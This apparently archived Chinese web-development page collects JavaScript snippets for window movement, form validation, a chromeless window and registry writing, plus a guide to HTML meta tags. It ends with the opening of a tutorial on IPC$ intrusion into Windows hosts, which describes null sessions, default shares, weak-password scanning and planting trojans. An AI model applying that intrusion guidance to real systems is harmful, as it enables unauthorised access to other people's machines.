<!-- QQ在线状态显示 --> </A><br>QQ:你的号码<img src="http://icon.tencent.com/你的号码/l/612/"> |
|
控制浏览器运动的几个按钮
|
作者: AppleBBS
以下是代码: <html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#000000" text="#999999" link="#33FF33" vlink="#33FF33" alink="#33FF33">
<script>
var xx
var v=1
function ml() {
clearTimeout(xx)
window.moveBy(-v, 0);
xx = setTimeout("ml()",140)
}
function mr() {
clearTimeout(xx)
window.moveBy(v, 0);
xx = setTimeout("mr()",140)
}
function mu() {
clearTimeout(xx)
window.moveBy(0, -v);
xx = setTimeout("mu()",140)
}
function md() {
clearTimeout(xx)
window.moveBy(0, v);
xx = setTimeout("md()",140)
}
function ws(){
clearTimeout(xx)
}
function adj(i){
if (i==1){v+=1; if (v>5)v-=1}
else {v-=1
if (v==0)v=1}
}
</script>
<DIV align=center>
<FORM>
<INPUT onclick=mu(v,0); type=button value=向上>
<INPUT onclick=ml(v,0); type=button value=向左>
<INPUT onclick=mr(0,v); type=button value=向右>
<INPUT onclick=md(0,v); type=button value=向下>
<INPUT onclick=ws(); type=button value=停止>
<BR><BR><BR>
<INPUT onclick=adj(1); type=button value=加速>
<INPUT onclick=adj(0); type=button value=减速>
<BR></FORM></DIV>
</body>
</html>
[Ctrl+A 全选 Ctrl+C 复制,如不能正常显示请刷新一下] |
|
javascript 常用类
|
作者: zlc810821
一、验证类 1、数字验证内 1.1 整数 1.2 大于0的整数 (用于传来的ID的验证) 1.3 负整数的验证 1.4 整数不能大于iMax 1.5 整数不能小于iMin 2、时间类 2.1 短时间,形如 (13:04:06) 2.2 短日期,形如 (2003-12-05) 2.3 长时间,形如 (2003-12-05 13:04:06) 2.4 只有年和月。形如(2003-05,或者2003-5) 2.5 只有小时和分钟,形如(12:03) 3、表单类 3.1 所有的表单的值都不能为空 3.2 多行文本框的值不能为空。 3.3 多行文本框的值不能超过sMaxStrleng 3.4 多行文本框的值不能少于sMixStrleng 3.5 判断单选框是否选择。 3.6 判断复选框是否选择. 3.7 复选框的全选,多选,全不选,反选 3.8 文件上传过程中判断文件类型 4、字符类 4.1 判断字符全部由a-Z或者是A-Z的字字母组成 4.2 判断字符由字母和数字组成。 4.3 判断字符由字母和数字,下划线,点号组成.且开头的只能是下划线和字母 4.4 字符串替换函数.Replace(); 5、浏览器类 5.1 判断浏览器的类型 5.2 判断ie的版本 5.3 判断客户端的分辨率 6、结合类 6.1 email的判断。 6.2 手机号码的验证 6.3 身份证的验证
二、功能类
1、时间与相关控件类 1.1 日历 1.2 时间控件 1.3 万年历 1.4 显示动态显示时钟效果(文本,如OA中时间) 1.5 显示动态显示时钟效果 (图像,像手表) 2、表单类 2.1 自动生成表单 2.2 动态添加,修改,删除下拉框中的元素 2.3 可以输入内容的下拉框 2.4 多行文本框中只能输入iMax文字。如果多输入了,自动减少到iMax个文字(多用于短信发送) 3、打印类 3.1 打印控件 4、事件类 4.1 屏蔽右键 4.2 屏蔽所有功能键 4.3 --> 和<-- F5 F11,F9,F1 4.4 屏蔽组合键ctrl+N 5、网页设计类 5.1 连续滚动的文字,图片(注意是连续的,两段文字和图片中没有空白出现) 5.2 html编辑控件类 5.3 颜色选取框控件 5.4 下拉菜单 5.5 两层或多层次的下拉菜单 5.6 仿IE菜单的按钮。(效果如rongshuxa.com的导航栏目) 5.7 状态栏,title栏的动态效果(例子很多,可以研究一下) 5.8 双击后,网页自动滚屏 6、树型结构。 6.1 asp+SQL版 6.2 asp+xml+sql版 6.3 java+sql或者java+sql+xml 7、无边框效果的制作 8、连动下拉框技术 9、文本排序 10,画图类,含饼、柱、矢量贝滋曲线 11,操纵客户端注册表类 12,DIV层相关(拖拽、显示、隐藏、移动、增加) 13,TABLAE相关(客户端动态增加行列,模拟进度条,滚动列表等) 14,各种<object classid=>相关类,如播放器,flash与脚本互动等 16, 刷新/模拟无刷新 异步调用类(XMLHttp或iframe,frame)
一、验证类 1、数字验证内 1.1 整数 /^(-|\+)?\d+$/.test(str) 1.2 大于0的整数 (用于传来的ID的验证) /^\d+$/.test(str) 1.3 负整数的验证 /^-\d+$/.test(str) 2、时间类 2.1 短时间,形如 (13:04:06) function isTime(str) { var a = str.match(/^(\d{1,2})(:)?(\d{1,2})\2(\d{1,2})$/); if (a == null) {alert('输入的参数不是时间格式'); return false;} if (a[1]>24 || a[3]>60 || a[4]>60) { alert("时间格式不对"); return false } return true; } 2.2 短日期,形如 (2003-12-05) function strDateTime(str) { var r = str.match(/^(\d{1,4})(-|\/)(\d{1,2})\2(\d{1,2})$/); if(r==null)return false; var d= new Date(r[1], r[3]-1, r[4]); return (d.getFullYear()==r[1]&&(d.getMonth()+1)==r[3]&&d.getDate()==r[4]); } 2.3 长时间,形如 (2003-12-05 13:04:06) function strDateTime(str) { var reg = /^(\d{1,4})(-|\/)(\d{1,2})\2(\d{1,2}) (\d{1,2}):(\d{1,2}):(\d{1,2})$/; var r = str.match(reg); if(r==null)return false; var d= new Date(r[1], r[3]-1,r[4],r[5],r[6],r[7]); return (d.getFullYear()==r[1]&&(d.getMonth()+1)==r[3]&&d.getDate()==r[4]&&d.getHours()==r[5]&&d.getMinutes()==r[6]&&d.getSeconds()==r[7]); } 2.4 只有年和月。形如(2003-05,或者2003-5) 2.5 只有小时和分钟,形如(12:03) 3、表单类 3.1 所有的表单的值都不能为空 <input onblur="if(this.value.replace(/^\s+|\s+$/g,'')=='')alert('不能为空!')"> 3.2 多行文本框的值不能为空。 3.3 多行文本框的值不能超过sMaxStrleng 3.4 多行文本框的值不能少于sMixStrleng 3.5 判断单选框是否选择。 3.6 判断复选框是否选择. 3.7 复选框的全选,多选,全不选,反选 3.8 文件上传过程中判断文件类型 4、字符类 4.1 判断字符全部由a-Z或者是A-Z的字字母组成 <input onblur="if(/[^a-zA-Z]/g.test(this.value))alert('有错')"> 4.2 判断字符由字母和数字组成。 <input onblur="if(/[^0-9a-zA-Z]/g.test(this.value))alert('有错')"> 4.3 判断字符由字母和数字,下划线,点号组成.且开头的只能是下划线和字母 /^([a-zA-z_]{1})([\w]*)$/g.test(str) 4.4 字符串替换函数.Replace(); 5、浏览器类 5.1 判断浏览器的类型 window.navigator.appName 5.2 判断ie的版本 window.navigator.appVersion 5.3 判断客户端的分辨率 window.screen.height; window.screen.width; 6、结合类 6.1 email的判断。 function ismail(mail) { return(new RegExp(/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/).test(mail)); } 6.2 手机号码的验证 6.3 身份证的验证 function isIdCardNo(num) { if (isNaN(num)) {alert("输入的不是数字!"); return false;} var len = num.length, re; if (len == 15) re = new RegExp(/^(\d{6})()?(\d{2})(\d{2})(\d{2})(\d{3})$/); else if (len == 18) re = new RegExp(/^(\d{6})()?(\d{4})(\d{2})(\d{2})(\d{3})(\d)$/); else {alert("输入的数字位数不对!"); return false;} var a = num.match(re); if (a != null) { if (len==15) { var D = new Date("19"+a[3]+"/"+a[4]+"/"+a[5]); var B = D.getYear()==a[3]&&(D.getMonth()+1)==a[4]&&D.getDate()==a[5]; } else { var D = new Date(a[3]+"/"+a[4]+"/"+a[5]); var B = D.getFullYear()==a[3]&&(D.getMonth()+1)==a[4]&&D.getDate()==a[5]; } if (!B) {alert("输入的身份证号 "+ a[0] +" 里出生日期不对!"); return false;} } return true; }
画图: <OBJECT id=S style="LEFT: 0px; WIDTH: 392px; TOP: 0px; HEIGHT: 240px" height=240 width=392 classid="clsid:369303C2-D7AC-11D0-89D5-00A0C90833E6"> </OBJECT> <SCRIPT> S.DrawingSurface.ArcDegrees(0,0,0,30,50,60); S.DrawingSurface.ArcRadians(30,0,0,30,50,60); S.DrawingSurface.Line(10,10,100,100); </SCRIPT> 写注册表: <SCRIPT> var WshShell = WScript.CreateObject("WScript.Shell"); WshShell.RegWrite ("HKCU\\Software\\ACME\\FortuneTeller\\", 1, "REG_BINARY"); WshShell.RegWrite ("HKCU\\Software\\ACME\\FortuneTeller\\MindReader", "Goocher!", "REG_SZ"); var bKey = WshShell.RegRead ("HKCU\\Software\\ACME\\FortuneTeller\\"); WScript.Echo (WshShell.RegRead ("HKCU\\Software\\ACME\\FortuneTeller\\MindReader")); WshShell.RegDelete ("HKCU\\Software\\ACME\\FortuneTeller\\MindReader"); WshShell.RegDelete ("HKCU\\Software\\ACME\\FortuneTeller\\"); WshShell.RegDelete ("HKCU\\Software\\ACME\\"); </SCRIPT>
TABLAE相关(客户端动态增加行列) <HTML> <SCRIPT LANGUAGE="JScript"> function numberCells() { var count=0; for (i=0; i < document.all.mytable.rows.length; i++) { for (j=0; j < document.all.mytable.rows(i).cells.length; j++) { document.all.mytable.rows(i).cells(j).innerText = count; count++; } } } </SCRIPT> <BODY onload="numberCells()"> <TABLE id=mytable border=1> <TR><TH> </TH><TH> </TH><TH> </TH><TH> </TH></TR> <TR><TD> </TD><TD> </TD><TD> </TD><TD> </TD></TR> <TR><TD> </TD><TD> </TD><TD> </TD><TD> </TD></TR> </TABLE> </BODY> </HTML>
1.身份证严格验证:
<script> var aCity={11:"北京",12:"天津",13:"河北",14:"山西",15:"内蒙古",21:"辽宁",22:"吉林",23:"黑龙江",31:"上海",32:"江苏",33:"浙江",34:"安徽",35:"福建",36:"江西",37:"山东",41:"河南",42:"湖北",43:"湖南",44:"广东",45:"广西",46:"海南",50:"重庆",51:"四川",52:"贵州",53:"云南",54:"西藏",61:"陕西",62:"甘肃",63:"青海",64:"宁夏",65:"新疆",71:"台湾",81:"香港",82:"澳门",91:"国外"} function cidInfo(sId){ var iSum=0 var info="" if(!/^\d{17}(\d|x)$/i.test(sId))return false; sId=sId.replace(/x$/i,"a"); if(aCity[parseInt(sId.substr(0,2))]==null)return "Error:非法地区"; sBirthday=sId.substr(6,4)+"-"+Number(sId.substr(10,2))+"-"+Number(sId.substr(12,2)); var d=new Date(sBirthday.replace(/-/g,"/")) if(sBirthday!=(d.getFullYear()+"-"+ (d.getMonth()+1) + "-" + d.getDate()))return "Error:非法生日"; for(var i = 17;i>=0;i --) iSum += (Math.pow(2,i) % 11) * parseInt(sId.charAt(17 - i),11) if(iSum%11!=1)return "Error:非法证号"; return aCity[parseInt(sId.substr(0,2))]+","+sBirthday+","+(sId.substr(16,1)%2?"男":"女") }
document.write(cidInfo("380524198002300016"),"<br/>"); document.write(cidInfo("340524198002300019"),"<br/>") document.write(cidInfo("340524197711111111"),"<br/>") document.write(cidInfo("34052419800101001x"),"<br/>"); </script>
2.验证IP地址 <SCRIPT LANGUAGE="JavaScript"> function isip(s){ var check=function(v){try{return (v<=255 && v>=0)}catch(x){return false}}; var re=s.split(".") return (re.length==4)?(check(re[0]) && check(re[1]) && check(re[2]) && check(re[3])):false }
var s="202.197.78.129"; alert(isip(s)) </SCRIPT>
3.加sp1后还能用的无边框窗口!! <HTML XMLNS:IE> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <IE:Download ID="include" STYLE="behavior:url(#default#download)" /> <title>Chromeless Window</title>
<SCRIPT LANGUAGE="JScript"> /*--- Special Thanks For andot ---*/
/* This following code are designed and writen by Windy_sk <seasonx@163.net> You can use it freely, but u must held all the copyright items! */
/*--- Thanks For andot Again ---*/
var CW_width = 400; var CW_height = 300; var CW_top = 100; var CW_left = 100; var CW_url = "/"; var New_CW = window.createPopup(); var CW_Body = New_CW.document.body; var content = ""; var CSStext = "margin:1px;color:black; border:2px outset;border-style:expression(onmouseout=onmouseup=function(){this.style.borderStyle='outset'}, onmousedown=function(){if(event.button!=2)this.style.borderStyle='inset'});background-color:buttonface;width:16px;height:14px;font-size:12px;line-height:11px;cursor:Default;";
//Build Window include.startDownload(CW_url, function(source){content=source});
function insert_content(){ var temp = ""; CW_Body.style.overflow = "hidden"; CW_Body.style.backgroundColor = "white"; CW_Body.style.border = "solid black 1px"; content = content.replace(/<a ([^>]*)>/g,"<a onclick='parent.open(this.href);return false' $1>"); temp += "<table width=100% height=100% cellpadding=0 cellspacing=0 border=0>"; temp += "<tr style=';font-size:12px;background:#0099CC;height:20;cursor:default' ondblclick=\"Max.innerText=Max.innerText=='1'?'2':'1';parent.if_max=!parent.if_max;parent.show_CW();\" onmouseup='parent.drag_up(event)' onmousemove='parent.drag_move(event)' onmousedown='parent.drag_down(event)' onselectstart='return false' oncontextmenu='return false'>"; temp += "<td style='color:#ffffff;padding-left:5px'>Chromeless Window For IE6 SP1</td>"; temp += "<td style='color:#ffffff;padding-right:5px;' align=right>"; temp += "<span id=Help onclick=\"alert('Chromeless Window For IE6 SP1 - Ver 1.0\\n\\nCode By Windy_sk\\n\\nSpecial Thanks For andot')\" style=\""+CSStext+"font-family:System;padding-right:2px;\">?</span>"; temp += "<span id=Min onclick='parent.New_CW.hide();parent.blur()' style=\""+CSStext+"font-family:Webdings;\" title='Minimum'>0</span>"; temp += "<span id=Max onclick=\"this.innerText=this.innerText=='1'?'2':'1';parent.if_max=!parent.if_max;parent.show_CW();\" style=\""+CSStext+"font-family:Webdings;\" title='Maximum'>1</span>"; temp += "<span id=Close onclick='parent.opener=null;parent.close()' style=\""+CSStext+"font-family:System;padding-right:2px;\" title='Close'>x</span>"; temp += "</td></tr><tr><td colspan=2>"; temp += "<div id=include style='overflow:scroll;overflow-x:hidden;overflow-y:auto; HEIGHT: 100%; width:"+CW_width+"'>"; temp += content; temp += "</div>"; temp += "</td></tr></table>"; CW_Body.innerHTML = temp; }
setTimeout("insert_content()",1000);
var if_max = true; function show_CW(){ window.moveTo(10000, 10000); if(if_max){ New_CW.show(CW_top, CW_left, CW_width, CW_height); if(typeof(New_CW.document.all.include)!="undefined"){ New_CW.document.all.include.style.width = CW_width; New_CW.document.all.Max.innerText = "1"; } }else{ New_CW.show(0, 0, screen.width, screen.height); New_CW.document.all.include.style.width = screen.width; } }
window.onfocus = show_CW; window.onresize = show_CW;
// Move Window var drag_x,drag_y,draging=false
function drag_move(e){ if (draging){ New_CW.show(e.screenX-drag_x, e.screenY-drag_y, CW_width, CW_height); return false; } }
function drag_down(e){ if(e.button==2)return; if(New_CW.document.body.offsetWidth==screen.width && New_CW.document.body.offsetHeight==screen.height)return; drag_x=e.clientX; drag_y=e.clientY; draging=true; e.srcElement.setCapture(); }
function drag_up(e){ draging=false; e.srcElement.releaseCapture(); if(New_CW.document.body.offsetWidth==screen.width && New_CW.document.body.offsetHeight==screen.height) return; CW_top = e.screenX-drag_x; CW_left = e.screenY-drag_y; }
</SCRIPT> </HTML>
|
|
HTML页面HEAD信息介绍
|
作者: Simonzy
注:在本文的收集整理中,如有不全的地方和或有误的地方,请斧正,谢谢!
您的个人网站即使做得再精彩,在“浩瀚如海”的网络空间中,也如一叶扁舟不易为人发现,如何推广个人网站,人们首先想到的方法无外乎以下几种: ● 在搜索引擎中登录自己的个人网站 ● 在知名网站加入你个人网站的链接 ● 在论坛中发帖子宣传你的个人网站
META标签是HTML语言HEAD区的一个辅助性标签,它位于HTML文档头部的<HEAD>标记和<TITLE>标记之间,它提供用户不可见的信息。meta标签通常用来为搜索引擎robots定义页面主题,或者是定义用户浏览器上的cookie;它可以用于鉴别作者,设定页面格式,标注内容提要和关键字;还可以设置页面使其可以根据你定义的时间间隔刷新自己,以及设置RASC内容等级,等等。
下面介绍一些有关 标记的例子及解释。
META标签分两大部分:HTTP标题信息(HTTP-EQUIV)和页面描述信息(NAME)。
※ HTTP-EQUIV
HTTP-EQUIV类似于HTTP的头部协议,它回应给浏览器一些有用的信息,以帮助正确和精确地显示网页内容。常用的HTTP-EQUIV类型有:
1、Content-Type和Content-Language (显示字符集的设定)
说明:设定页面使用的字符集,用以说明主页制作所使用的文字已经语言,浏览器会根据此来调用相应的字符集显示page内容。
用法:<Meta http-equiv="Content-Type" Content="text/html; Charset=gb2312"> <Meta http-equiv="Content-Language" Content="zh-CN">
注意: 该META标签定义了HTML页面所使用的字符集为GB2132,就是国标汉字码。如果将其中的“charset=GB2312”替换成“BIG5”,则该页面所用的字符集就是繁体中文Big5码。当你浏览一些国外的站点时,IE浏览器会提示你要正确显示该页面需要下载xx语支持。这个功能就是通过读取HTML页面META标签的Content-Type属性而得知需要使用哪种字符集显示该页面的。如果系统里没有装相应的字符集,则IE就提示下载。其他的语言也对应不同的charset,比如日文的字符集是“iso-2022-jp ”,韩文的是“ks_c_5601”。 Content-Type的Content还可以是:text/xml等文档类型; Charset选项:ISO-8859-1(英文)、BIG5、UTF-8、SHIFT-Jis、Euc、Koi8-2、us-ascii, x-mac-roman, iso-8859-2, x-mac-ce, iso-2022-jp, x-sjis, x-euc-jp,euc-kr, iso-2022-kr, gb2312, gb_2312-80, x-euc-tw, x-cns11643-1,x-cns11643-2等字符集;Content-Language的Content还可以是:EN、FR等语言代码。
2、Refresh (刷新)
说明:让网页多长时间(秒)刷新自己,或在多长时间后让网页自动链接到其它网页。 用法:<Meta http-equiv="Refresh" Content="30"> <Meta http-equiv="Refresh" Content="5; Url=http://www.xia8.net"> 注意:其中的5是指停留5秒钟后自动刷新到URL网址。
3、Expires (期限)
说明:指定网页在缓存中的过期时间,一旦网页过期,必须到服务器上重新调阅。 用法:<Meta http-equiv="Expires" Content="0"> <Meta http-equiv="Expires" Content="Wed, 26 Feb 1997 08:21:57 GMT"> 注意:必须使用GMT的时间格式,或直接设为0(数字表示多少时间后过期)。
4、Pragma (cach模式)
说明:禁止浏览器从本地机的缓存中调阅页面内容。 用法:<Meta http-equiv="Pragma" Content="No-cach"> 注意:网页不保存在缓存中,每次访问都刷新页面。这样设定,访问者将无法脱机浏览。
5、Set-Cookie (cookie设定)
说明:浏览器访问某个页面时会将它存在缓存中,下次再次访问时就可从缓存中读取,以提高速度。当你希望访问者每次都刷新你广告的图标,或每次都刷新你的计数器,就要禁用缓存了。通常HTML文件没有必要禁用缓存,对于ASP等页面,就可以使用禁用缓存,因为每次看到的页面都是在服务器动态生成的,缓存就失去意义。如果网页过期,那么存盘的cookie将被删除。 用法:<Meta http-equiv="Set-Cookie" Content="cookievalue=xxx; expires=Wednesday, 21-Oct-98 16:14:21 GMT; path=/"> 注意:必须使用GMT的时间格式。
6、Window-target (显示窗口的设定)
说明:强制页面在当前窗口以独立页面显示。 用法:<Meta http-equiv="Widow-target" Content="_top"> 注意:这个属性是用来防止别人在框架里调用你的页面。Content选项:_blank、_top、_self、_parent。
7、Pics-label (网页RSAC等级评定) 说明:在IE的Internet选项中有一项内容设置,可以防止浏览一些受限制的网站,而网站的限制级 别就是通过该参数来设置的。 用法:<META http-equiv="Pics-label" Contect= "(PICS-1.1'http://www.rsac.org/ratingsv01.html' I gen comment 'RSACi North America Sever' by 'inet@microsoft.com' for 'http://www.microsoft.com' on '1997.06.30T14:21-0500' r(n0 s0 v0 l0))">
注意:不要将级别设置的太高。RSAC的评估系统提供了一种用来评价Web站点内容的标准。用户可以设置Microsoft Internet Explorer(IE3.0以上)来排除包含有色情和暴力内容的站点。上面这个例子中的HTML取自Microsoft的主页。代码中的(n 0 s 0 v 0 l 0)表示该站点不包含不健康内容。级别的评定是由RSAC,即美国娱乐委员会的评级机构评定的,如果你想进一步了解RSAC评估系统的等级内容,或者你需要评价自己的网站,可以访问RSAC的站点:http://www.rsac.org/。
8、Page-Enter、Page-Exit (进入与退出)
说明:这个是页面被载入和调出时的一些特效。 用法:<Meta http-equiv="Page-Enter" Content="blendTrans(Duration=0.5)"> <Meta http-equiv="Page-Exit" Content="blendTrans(Duration=0.5)"> 注意:blendTrans是动态滤镜的一种,产生渐隐效果。另一种动态滤镜RevealTrans也可以用于页面进入与退出效果:
<Meta http-equiv="Page-Enter" Content="revealTrans(duration=x, transition=y)"> <Meta http-equiv="Page-Exit" Content="revealTrans(duration=x, transition=y)">
Duration 表示滤镜特效的持续时间(单位:秒) Transition 滤镜类型。表示使用哪种特效,取值为0-23。
0 矩形缩小 1 矩形扩大 2 圆形缩小 3 圆形扩大 4 下到上刷新 5 上到下刷新 6 左到右刷新 7 右到左刷新 8 竖百叶窗 9 横百叶窗 10 错位横百叶窗 11 错位竖百叶窗 12 点扩散 13 左右到中间刷新 14 中间到左右刷新 15 中间到上下 16 上下到中间 17 右下到左上 18 右上到左下 19 左上到右下 20 左下到右上 21 横条 22 竖条 23 以上22种随机选择一种
9、MSThemeCompatible (XP主题) 说明:是否在IE中关闭 xp 的主题 用法:<Meta http-equiv="MSThemeCompatible" Content="Yes"> 注意:关闭 xp 的蓝色立体按钮系统显示样式,从而和win2k 很象。
10、IE6 (页面生成器) 说明:页面生成器generator,是ie6 用法:<Meta http-equiv="IE6" Content="Generator"> 注意:用什么东西做的,类似商品出厂厂商。
11、Content-Script-Type (脚本相关) 说明:这是近来W3C的规范,指明页面中脚本的类型。 用法:<Meta http-equiv="Content-Script-Type" Content="text/javascript"> 注意:
※NAME变量
name是描述网页的,对应于Content(网页内容),以便于搜索引擎机器人查找、分类(目前几乎所有的搜索引擎都使用网上机器人自动查找meta值来给网页分类)。 name的value值(name="")指定所提供信息的类型。有些值是已经定义好的。例如description(说明)、keyword(关键字)、refresh(刷新)等。还可以指定其他任意值,如:creationdate(创建日期) 、 document ID(文档编号)和level(等级)等。 name的content指定实际内容。如:如果指定level(等级)为value(值),则Content可能是beginner(初级)、intermediate(中级)、advanced(高级)。
1、Keywords (关键字) 说明:为搜索引擎提供的关键字列表 用法:<Meta name="Keywords" Content="关键词1,关键词2,关键词3,关键词4,……"> 注意:各关键词间用英文逗号“,”隔开。META的通常用处是指定搜索引擎用来提高搜索质量的关键词。当数个META元素提供文档语言从属信息时,搜索引擎会使用lang特性来过滤并通过用户的语言优先参照来显示搜索结果。例如: <Meta name="Kyewords" Lang="EN" Content="vacation,greece,sunshine"> <Meta name="Kyewords" Lang="FR" Content="vacances,grè:ce,soleil">
2、Description (简介) 说明:Description用来告诉搜索引擎你的网站主要内容。 用法:<Meta name="Description" Content="你网页的简述"> 注意:
3、Robots (机器人向导) 说明:Robots用来告诉搜索机器人哪些页面需要索引,哪些页面不需要索引。Content的参数有all、none、index、noindex、follow、nofollow。默认是all。 用法:<Meta name="Robots" Content="All|None|Index|Noindex|Follow|Nofollow"> 注意:许多搜索引擎都通过放出robot/spider搜索来登录网站,这些robot/spider就要用到meta元素的一些特性来决定怎样登录。
all:文件将被检索,且页面上的链接可以被查询; none:文件将不被检索,且页面上的链接不可以被查询;(和 "noindex, no follow" 起相同作用) index:文件将被检索;(让robot/spider登录) follow:页面上的链接可以被查询; noindex:文件将不被检索,但页面上的链接可以被查询;(不让robot/spider登录) nofollow:文件将不被检索,页面上的链接可以被查询。(不让robot/spider顺着此页的连接往下探找)
4、Author (作者) 说明:标注网页的作者或制作组 用法:<Meta name="Author" Content="张三,abc@sohu.com"> 注意:Content可以是:你或你的制作组的名字,或Email
5、Copyright (版权) 说明:标注版权 用法:<Meta name="Copyright" Content="本页版权归Zerospace所有。All Rights Reserved"> 注意:
6、Generator (编辑器) 说明:编辑器的说明 用法:<Meta name="Generator" Content="PCDATA|FrontPage|"> 注意:Content="你所用编辑器"
7、revisit-after (重访) 说明: 用法:<META name="revisit-after" CONTENT="7 days" > 注意:
※Head中的其它一些用法
1、scheme (方案) 说明:scheme can be used when name is used to specify how the value of content should be interpreted. 用法:<meta scheme="ISBN" name="identifier" content="0-14-043205-1" /> 注意:
2、Link (链接) 说明:链接到文件 用法:<Link href="soim.ico" rel="Shortcut Icon"> 注意:很多网站如果你把她保存在收件夹中后,会发现它连带着一个小图标,如果再次点击进入之后还会发现地址栏中也有个小图标。现在只要在你的页头加上这段话,就能轻松实现这一功能。<LINK> 用来将目前文件与其它 URL 作连结,但不会有连结按钮,用於 <HEAD> 标记间, 格式如下: <link href="URL" rel="relationship"> <link href="URL" rev="relationship">
3、Base (基链接) 说明:插入网页基链接属性 用法:<Base href="http://www.csdn.net/" target="_blank"> 注意:你网页上的所有相对路径在链接时都将在前面加上“http://www.cn8cn.com/”。其中target="_blank"是链接文件在新的窗口中打开,你可以做其他设置。将“_blank”改为“_parent”是链接文件将在当前窗口的父级窗口中打开;改为“_self”链接文件在当前窗口(帧)中打开;改为“_top”链接文件全屏显示。
<head> <title>文件头,显示在浏览器标题区</title> <meta http-equiv="Content-Language" content="zh-cn"> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <meta name="GENERATOR" content="Microsoft FrontPage 4.0"> <meta name="ProgId" content="FrontPage.Editor.Document"> <meta name="制作人" content="Simonzy"> <meta name="主题词" content="HTML 网页制作 C# .NET JavaScript JS"> </head>
以上是META标签的一些基本用法,其中最重要的就是:Keywords和Description的设定。为什么呢?道理很简单,这两个语句可以让搜索引擎能准确的发现你,吸引更多的人访问你的站点!根据现在流行搜索引擎(Google,Lycos,AltaVista等)的工作原理,搜索引擎先派机器人自动在WWW上搜索,当发现新的网站时,便于检索页面中的Keywords和Description,并将其加入到自己的数据库,然后再根据关键词的密度将网站排序。 |
|
一份详尽的IPC$入侵资料
|
作者: godttj
一 唠叨一下: 网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄. 不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑(你随便找一个hack论坛搜一下ipc,看存在的疑惑有多少). 因此我写了这篇相当于解惑的教程.想把一些容易混淆,容易迷惑人的问题说清楚,让大家不要总徘徊在原地!如果你看完这篇帖子仍有疑问,请马上回复!
二 什么是ipc$ IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。 利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。 我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。 所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.
解惑: 1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数,所以不能在Windows 9.x中运行。 也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的) 2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接 3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表
三 建立ipc$连接在hack攻击中的作用 就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!! (基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.怎么样?够厉害吧!) 不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的 因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接. 所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在.
四 ipc$与空连接,139,445端口,默认共享的关系 以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)
1)ipc$与空连接: 不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了. 许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟). 2)ipc$与139,445端口: ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的. 3)ipc$与默认共享 默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)
